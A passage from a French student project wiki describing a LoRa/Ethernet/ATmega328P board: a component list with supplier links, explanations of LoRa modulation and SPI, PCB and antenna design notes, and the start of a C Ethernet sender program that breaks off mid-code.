 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
// schéma&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa.&lt;br /&gt;
Cependant,   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
